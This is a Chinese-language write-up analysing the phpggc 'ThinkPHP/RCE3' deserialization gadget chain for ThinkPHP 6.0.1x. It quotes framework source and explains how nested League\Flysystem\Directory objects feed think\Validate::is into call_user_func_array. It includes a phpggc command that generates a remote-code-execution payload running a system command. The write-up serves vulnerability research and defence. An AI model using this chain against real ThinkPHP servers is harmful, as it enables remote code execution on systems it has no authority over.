phpggc thinkphp RCE3

 

RCE3

影响范围:

  • thinkphp 6.0.1x

使用

phpggc ThinkPHP/RCE3 system id  -b -u

分析

thinkphp 6 版本与此前的版本存在较大差异,搜索 __destruct 时可发现入口点都在 vendor 目录下,也就是 Composer 类库目录。

vendor/league/flysystem-cached-adapter/src/Storage
    AbstractCache.php
        public function __destruct()
vendor/league/flysystem/src
    SafeStorage.php
        public function __destruct()
vendor/league/flysystem/src/Adapter
    AbstractFtpAdapter.php
        public function __destruct()
vendor/topthink/think-orm/src
    Model.php
        public function __destruct()
vendor/topthink/think-orm/src/db
    Connection.php
        public function __destruct()

RCE3 整个调用链如下所示:

League\Flysystem\Cached\Storage\Psr6Cache::__destruct()
    | $this->save();                                   
    | $this->pool->getItem()                           
    League\Flysystem\Directory::__call()<---+          
        | call_user_func_array              |          
        | $this->getItem()  ----------------+          
        think\Validate::__call()                       
            | call_user_func_array                     
            | $this->is()                              
            | call_user_func_array  * <----            

总体看这条链还是比较短的,入口点为 Psr6Cache,这个类为 AbstractCache 的实现类。sink 点为 think\Validate 的 is 方法,在 is 方法中可以找到 call_user_func_array 的调用,$this->type 是可控的,$rule$value 都是传入的参数。

    default:
        if (isset($this->type[$rule])) {
            // 注册的验证规则
            $result = call_user_func_array($this->type[$rule], [$value]);

think\Validate 类正好有一个 __call 方法,且使用 call_user_func_array 调用自身的 is 方法,传入参数为 args,这样看来还是比较好控制的。

public function __call($method, $args)
{
    if ('is' == strtolower(substr($method, 0, 2))) {
        $method = substr($method, 2);
    }

    array_push($args, lcfirst($method));

    return call_user_func_array([$this, 'is'], $args);
}

这条链比较巧妙的点在与 Directory 的构造,在think\Validate::__call 中,call_user_func_array 调用 is 方法时需要传入三个参数,其中第三个参数为数组。

public function is($value, string $rule, array $data = [])

由于是从 League\Flysystem\Directory::__call() 中使用 call_user_func_array 调用 getItem 函数过来的,因此 $method 的值为 ‘getItem’, 但 array_push($args, lcfirst($method)); 仅会往 $args 末尾添加一个元素 ‘getItem’,因此在传入think\Validate::call$args 的第三个元素需要为一个数组。

调试时就可以发现,如果仅仅构造一层的 Directory,$args 的第三个元素始终都无法为一个数组,因此在构造 payload 时对 League\Flysystem\Directory 进行了嵌套。

array_unshift($arguments, $this->path);

也就是说,第一次调用到 League\Flysystem\Directory::__call 中的 call_user_func_array 时,再次调用 League\Flysystem\Directory::getItem,由于这方法不存在,会再次进入 __call,从而两次执行 array_unshift($arguments, $this->path); 进而构造一个满足条件的 $arguments.

public function __call($method, array $arguments)
{
    array_unshift($arguments, $this->path);
    $callback = [$this->filesystem, $method];

    try {
        return call_user_func_array($callback, $arguments); <---
    } catch (BadMethodCallException $e) {
        throw new BadMethodCallException(
            'Call to undefined method '
            . get_called_class()
            . '::' . $method
        );
    }
}

参考资料